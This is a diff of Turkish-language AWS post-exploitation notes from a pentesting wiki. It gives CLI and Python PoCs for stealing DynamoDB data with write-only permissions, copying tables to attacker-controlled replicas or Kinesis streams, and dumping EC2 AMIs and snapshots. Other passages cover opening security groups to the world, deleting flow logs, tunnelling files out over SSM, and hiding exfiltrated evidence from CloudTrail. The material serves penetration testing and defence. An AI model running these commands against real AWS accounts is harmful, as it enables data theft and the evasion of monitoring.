Tablo üzerinde yalnızca `dynamodb:UpdateItem` iznine sahip bir saldırgan, zararsız bir güncelleme yapıp `--return-values ALL_OLD` isteyerek normal okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin güncelleme öncesi tam görüntüsünü döndürecektir (bu, RCUs tüketmez).
|
||||
|
||||
- Minimum izinler: hedef tablo/anahtar üzerinde `dynamodb:UpdateItem`.
|
||||
- Önkoşullar: öğenin birincil anahtarını bilmelisiniz.
|
||||
- Gerekli minimum izinler: `dynamodb:UpdateItem` hedef tablo/anahtar üzerinde.
|
||||
- Önkoşullar: Öğenin birincil anahtarını bilmeniz gerekir.
|
||||
|
||||
Örnek (zararsız bir attribute ekler ve yanıt içindeki önceki öğeyi exfiltrate eder):
|
||||
Örnek (zararsız bir attribute ekler ve yanıt içinde önceki öğeyi exfiltrates):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI yanıtı, önceki öğeyi (tüm öznitelikler) içeren bir `Attributes` bloğu döndürecektir; bu, yalnızca yazma iznine sahipken fiilen bir okuma ilkeline olanak sağlar.
|
||||
CLI yanıtı, önceki öğenin tamamını içeren bir `Attributes` bloğu (tüm öznitelikler) içerecek; bu, yalnızca yazma erişiminden read primitive sağlamış olur.
|
||||
|
||||
**Olası Etki:** Yalnızca yazma izinleriyle bir tablodan rastgele öğeleri okuyabilme; birincil anahtarlar bilindiğinde hassas veri sızdırılmasına olanak tanır.
|
||||
**Potential Impact:** Yalnızca yazma izinleriyle bir tablodan rastgele öğeler okunabilir; primary key'ler bilindiğinde hassas verilerin exfiltration yoluyla sızdırılmasına olanak tanır.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Yeni bir replica Region ekleyerek DynamoDB Global Table (version 2019.11.21) üzerinde gizli veri sızdırma. Eğer bir yetkili bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a çoğaltılır ve saldırgan buradan tüm öğeleri okuyabilir.
|
||||
Bir DynamoDB Global Table'a (version 2019.11.21) yeni bir bölgesel replica Region ekleyerek stealth exfiltration gerçekleştirilebilir. Eğer bir principal bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a replike edilir ve saldırgan o Region'dan tüm öğeleri okuyabilir.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
İzinler: `dynamodb:UpdateTable` ( `replica-updates` ile) veya hedef tabloda `dynamodb:CreateTableReplica`. Replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir.
|
||||
İzinler: `dynamodb:UpdateTable` (ile `replica-updates`) veya hedef tablo üzerinde `dynamodb:CreateTableReplica`. Replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir.
|
||||
|
||||
Potansiyel Etki: Saldırganın kontrolündeki bir Bölge'ye tam tablo replikasyonu, gizli veri sızdırmaya yol açabilir.
|
||||
Olası Etki: Saldırgan tarafından kontrol edilen bir bölgeye tüm tablo replikasyonu, bu da gizli veri sızdırılmasına yol açar.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (başarısız koşul yoluyla okuma + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Transactional write ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde kasıtlı olarak `ConditionExpression`'ı başarısız kılan ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` olarak ayarlanan bir `Update` gerçekleştirerek mevcut bir öğenin tüm özniteliklerini sızdırabilir. Başarısızlık durumunda, DynamoDB işlem iptal sebeplerine önceki öznitelikleri ekler; bu da hedeflenen anahtarlar için yalnızca yazma erişimini okuma erişimine dönüştürür.
|
||||
Transaksiyonel yazma ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde bir `Update` gerçekleştirip bilerek bir `ConditionExpression`'ı başarısız kılarak ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` ayarlayarak mevcut bir öğenin tüm özniteliklerini dışarı çıkarabilir. Başarısızlık durumunda, DynamoDB önceki öznitelikleri işlem iptal sebeplerine dahil eder; bu da hedeflenen anahtarlar için yazma-erişimini fiilen okuma-erişimine çevirir.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
İzinler: `dynamodb:TransactWriteItems` hedef tabloda (ve ilgili öğede). Okuma izinleri gerekli değildir.
|
||||
İzinler: hedef tablo üzerinde `dynamodb:TransactWriteItems` (ve ilgili öğe). Okuma izni gerekli değildir.
|
||||
|
||||
Potansiyel Etki: Sadece işlemsel yazma ayrıcalıkları kullanılarak ve döndürülen iptal nedenleri aracılığıyla bir tablodan (birincil anahtara göre) rastgele öğeler okunabilir.
|
||||
Muhtemel Etki: Döndürülen iptal nedenleri aracılığıyla yalnızca işlemsel yazma ayrıcalıkları kullanarak bir tablodan (birincil anahtara göre) rastgele öğeleri okumak.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI üzerinde
|
||||
|
||||
Düşük entropili bir attribute üzerinde `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturarak okuma kısıtlamalarını aşın, bu attribute'u öğeler arasında sabit bir değere ayarlayın, ardından tam öğeleri almak için indeksi `Query` edin. Bu, temel tablo üzerinde `Query`/`Scan` reddedilmiş olsa bile, index ARN'sine sorgu yapabiliyorsanız çalışır.
|
||||
Okuma kısıtlamalarını aşmak için düşük entropili bir öznitelikte `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturun, bu özniteliği öğeler arasında sabit bir değere ayarlayın, sonra indeksi `Query` ile sorgulayarak tam öğeleri alın. Bu, temel tabloda `Query`/`Scan` reddedilmiş olsa bile, indeks ARN'sini sorgulayabildiğiniz sürece çalışır.
|
||||
|
||||
- Gerekli minimum izinler:
|
||||
- `dynamodb:UpdateTable` hedef tabloda (GSI'yi `ProjectionType=ALL` ile oluşturmak için).
|
||||
- `dynamodb:UpdateItem` hedef tablo anahtarlarında (her öğe için indexlenen özniteliği ayarlamak üzere).
|
||||
- `dynamodb:Query` index resource ARN üzerinde (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- Minimum izinler:
|
||||
- Hedef tablo üzerinde `dynamodb:UpdateTable` (GSI'yi `ProjectionType=ALL` ile oluşturmak için).
|
||||
- Hedef tablo anahtarları üzerinde `dynamodb:UpdateItem` (her öğede indekslenen özniteliği ayarlamak için).
|
||||
- İndeks kaynak ARN'si üzerinde `dynamodb:Query` (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Adımlar (PoC us-east-1'de):
|
||||
```bash
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potential Impact:** Tüm öznitelikleri projekte eden yeni oluşturulmuş bir GSI sorgulanarak, temel tablo okuma API'leri reddedilmiş olsa bile tam tablonun dışa aktarılması.
|
||||
**Potential Impact:** Yeni oluşturulan ve tüm öznitelikleri projekte eden bir GSI sorgulanarak tablonun tamamının exfiltration'ı, temel tablo okuma API'leri engellense bile.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams aracılığıyla sürekli dışa aktarım)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams üzerinden sürekli exfiltration)
|
||||
|
||||
DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri saldırganın kontrolündeki bir Kinesis Data Stream'e sürekli olarak dışa aktarma. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tablo üzerinde okuma izinlerine ihtiyaç olmadan neredeyse gerçek zamanlı olarak stream'e iletilir.
|
||||
DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri saldırganın kontrolündeki bir Kinesis Data Stream'e sürekli olarak exfiltrate etmek. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tabloyu okumaya yönelik izinlere ihtiyaç duymadan neredeyse gerçek zamanlı olarak stream'e iletilir.
|
||||
|
||||
Minimum izinler (saldırgan):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- `dynamodb:EnableKinesisStreamingDestination` hedef tabloda
|
||||
- Opsiyonel olarak `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` durumu izlemek için
|
||||
- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,6 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Olası Etki:** Tablo değişikliklerinin, tablo üzerinde doğrudan okuma işlemi yapılmaksızın saldırgan kontrollü bir Kinesis stream'ine sürekli, neredeyse gerçek zamanlı exfiltration edilmesi.
|
||||
**Potansiyel Etki:** Sürekli, neredeyse gerçek zamanlı olarak tablo değişikliklerinin, tabloda doğrudan okuma işlemi yapılmaksızın saldırganın kontrolündeki Kinesis stream'ine exfiltration yapılması.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+121
-56
@@ -4,26 +4,26 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC trafik aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği kopyalar** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu kopyalanan trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\
|
||||
Bir saldırgan, bunu kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir:
|
||||
VPC traffic mirroring **bir VPC içindeki EC2 instance'larının gelen ve giden trafiğini çoğaltır**; instance'ların kendilerine herhangi bir şey kurmaya gerek yoktur. Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir yere gönderilir.\
|
||||
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve bundan hassas bilgileri elde edebilir:
|
||||
|
||||
Daha fazla bilgi için bu sayfayı kontrol edin:
|
||||
Daha fazla bilgi için bu sayfaya bakın:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Çalışan Örneği Kopyala
|
||||
### Copy Running Instance
|
||||
|
||||
Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 ayrıcalık yükseltme hileleri](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile)**:
|
||||
Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Bununla birlikte, içeriğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir instance (hatta kendi hesabınızda) çalıştırmaktır**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,41 +49,105 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Anlık görüntüler, hacimlerin yedekleridir**, genellikle **hassas bilgiler** içerecektir, bu nedenle bunları kontrol etmek bu bilgileri açığa çıkarabilir.\
|
||||
Eğer **anlık görüntüsü olmayan bir hacim** bulursanız: **Bir anlık görüntü oluşturabilir** ve aşağıdaki işlemleri gerçekleştirebilir veya sadece **bir örnekte bağlayabilirsiniz**:
|
||||
**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir; bu yüzden bunları kontrol etmek bu bilgileri açığa çıkaracaktır.\
|
||||
Eğer bir **volume without a snapshot** bulursanız şunları yapabilirsiniz: **Create a snapshot** oluşturup aşağıdaki işlemleri gerçekleştirmek veya hesabın içinde bir instance'a **mount it in an instance**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Veri Sızdırma
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
#### DNS Sızdırma
|
||||
EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın; böylece snapshot paylaşımı olmadan ham disk imajı elde edersiniz. Bu, instance'ın ağ yapılandırmasına dokunmadan tam çevrimdışı adli analiz veya veri hırsızlığı yapmanıza olanak tanır.
|
||||
|
||||
Bir EC2'yi dışarıya trafik çıkamayacak şekilde kilitleseniz bile, hala **DNS üzerinden sızdırabilir**.
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
- **VPC Akış Günlükleri bunu kaydetmeyecek**.
|
||||
- AWS DNS günlüklerine erişiminiz yok.
|
||||
- Bunu, "enableDnsSupport" değerini false olarak ayarlayarak devre dışı bırakın:
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a ekleyin ve snapshot almadan canlı veriyi çekmek için onu read-only olarak mount edin. Hedef volume aynı AZ içinde zaten Multi-Attach etkinse bu yöntem kullanışlıdır.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Bir EC2 Instance Connect Endpoint oluşturun, ingress'e yetki verin ve yönetilen bir tünel üzerinden özel instance'lara erişmek için geçici SSH anahtarları inject edin. Kamu portlarını açmadan hızlı lateral hareket yolları sağlar.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Kurban ENI'nin secondary private IP'sini saldırgan kontrollü bir ENI'ye taşıyarak IP ile allowlist'e alınmış güvenilir host'ları taklit edin. Bu, belirli adreslere bağlı iç ACL'leri veya SG kurallarını atlamayı mümkün kılar.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Kurban instance'dan bir Elastic IP'yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir genel IP'lermiş gibi görünen giden bağlantılar başlatın.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Eğer bir security group kuralı customer-managed prefix list'e referans veriyorsa, saldırgan CIDR'lerini listeye eklemek SG'yi doğrudan değiştirmeden bağlı tüm SG kurallarında erişimi sessizce genişletir.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
İzolasyonlu subnet'lerden outbound erişimi geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private link'leri kullanmak, data exfiltration için eksik IGW/NAT kontrollerini atlamaya yarar.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs'u saldırgan kontrollü bir S3 bucket'a yönlendirerek ağ meta verisini (source/destination, ports) mağdur hesabın dışında sürekli toplayın; bu uzun vadeli keşif için kullanışlıdır.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Bir EC2'yi dışa kapatsanız bile, yine de **exfil via DNS** yapabilir.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- AWS DNS loglarına erişiminiz yoktur.
|
||||
- Bunu devre dışı bırakmak için "enableDnsSupport"u false yapın:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### API çağrıları aracılığıyla sızdırma
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Bir saldırgan, kendisi tarafından kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, sızdırılan verileri Cloudtrail günlüklerinde görebilecektir.
|
||||
Bir saldırgan kendi kontrolündeki bir hesabın API endpoint'lerini çağırabilir. Cloudtrail bu çağrıları loglar ve saldırgan exfiltrate edilen verileri Cloudtrail loglarında görebilir.
|
||||
|
||||
### Açık Güvenlik Grubu
|
||||
### Open Security Group
|
||||
|
||||
Ağ hizmetlerine daha fazla erişim elde etmek için portları şu şekilde açabilirsiniz:
|
||||
Bu şekilde portları açarak ağ servislerine daha fazla erişim sağlayabilirsiniz:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür.
|
||||
Bir EC2 instance'ı çalıştırıp, onu ECS instance'larını çalıştırmak için kullanılmak üzere kaydederek, sonrasında bu ECS instance'ların verilerini çalmak mümkündür.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -95,63 +159,64 @@ Gerekli izinler:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır.
|
||||
Komut yürütmenin yanı sıra, SSM trafik tünellemesine izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir.
|
||||
Bunun kullanışlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'ına pivot yapmaktır.
|
||||
|
||||
> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Makinenizde SessionManagerPlugin'i yükleyin
|
||||
2. Aşağıdaki komutla Bastion EC2'ye giriş yapın:
|
||||
1. SessionManagerPlugin'i makinenize kurun
|
||||
2. Aşağıdaki komutu kullanarak Bastion EC2'ye giriş yapın:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Bastion EC2 AWS geçici kimlik bilgilerini [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) scripti ile alın
|
||||
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın
|
||||
3. Bastion EC2 AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) scripti ile alın
|
||||
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyası içine `[bastion-ec2]` profili olarak aktarın
|
||||
5. Bastion EC2 olarak EKS'e giriş yapın:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` olarak güncelleyin
|
||||
7. Aşağıdaki gibi bir SSM tüneli oluşturun:
|
||||
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` adresini gösterecek şekilde güncelleyin.
|
||||
7. Aşağıdaki şekilde bir SSM tüneli oluşturun:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden özel EKS kümesine erişmek için şu komutu çalıştırabilirsiniz:
|
||||
8. `kubectl` aracından gelen trafik artık SSM tüneli üzerinden Bastion EC2 aracılığıyla yönlendiriliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS cluster'a erişebilirsiniz:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz.
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz.
|
||||
Son olarak, bu teknik private EKS clusters'a özgü değildir. Rastgele domain ve portlar belirleyerek başka herhangi bir AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz.
|
||||
|
||||
---
|
||||
|
||||
#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession)
|
||||
#### Hızlı Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Eğer sadece **EC2 örneğinden yerel ana bilgisayarınıza bir TCP portunu yönlendirmeye** ihtiyacınız varsa, `AWS-StartPortForwardingSession` SSM belgesini kullanabilirsiniz (uzak ana bilgisayar parametresi gerekmez):
|
||||
Eğer sadece **EC2 instance'ından local host'unuza bir TCP port** yönlendirmeniz gerekiyorsa, `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekli değildir):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Komut, çalışma istasyonunuz (`localPortNumber`) ile örnekteki seçilen port (`portNumber`) arasında **herhangi bir inbound Security-Group kuralı açmadan** iki yönlü bir tünel kurar.
|
||||
Bu komut, iş istasyonunuz (`localPortNumber`) ile instance üzerindeki seçili port (`portNumber`) arasında iki yönlü bir tünel oluşturur **without opening any inbound Security-Group rules**.
|
||||
|
||||
Yaygın kullanım senaryoları:
|
||||
Yaygın kullanım durumları:
|
||||
|
||||
* **Dosya sızdırma**
|
||||
1. Örnekte, sızdırmak istediğiniz dizine işaret eden hızlı bir HTTP sunucusu başlatın:
|
||||
* **File exfiltration**
|
||||
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Çalışma istasyonunuzdan dosyaları SSM tüneli üzerinden alın:
|
||||
2. From your workstation fetch the files through the SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Dahili web uygulamalarına erişim (örn. Nessus)**
|
||||
* **İç ağ web uygulamalarına erişim (ör. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
İpucu: CloudTrail'in açık metin içeriğini kaydetmemesi için kanıtları dışarı aktarımından önce sıkıştırın ve şifreleyin:
|
||||
İpucu: CloudTrail clear-text içeriğini kaydetmemesi için kanıtları exfiltrating etmeden önce sıkıştırıp şifreleyin:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -168,19 +233,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Hassas bilgileri genel ve özel AMI'lerde arama
|
||||
### Kamuya açık ve özel AMIs içinde hassas bilgi arama
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **genel veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgi aramak** için tasarlanmış bir araçtır. Hedef AMI'lerden instance başlatma, volümlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemlerini otomatikleştirir.
|
||||
|
||||
### EBS Anlık Görüntüsünü Paylaş
|
||||
### EBS Snapshot Paylaşımı
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmanın ne kadar kolay olduğu göz önüne alındığında, Ransomware Management Service (RMS) olarak yeniden adlandırılmalıdır.
|
||||
S3 post-exploitation notlarındaki Ransomware gösterimine benzer bir PoC. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bağlı olarak Ransomware Management Service anlamına gelen RMS olarak yeniden adlandırılmalı.
|
||||
|
||||
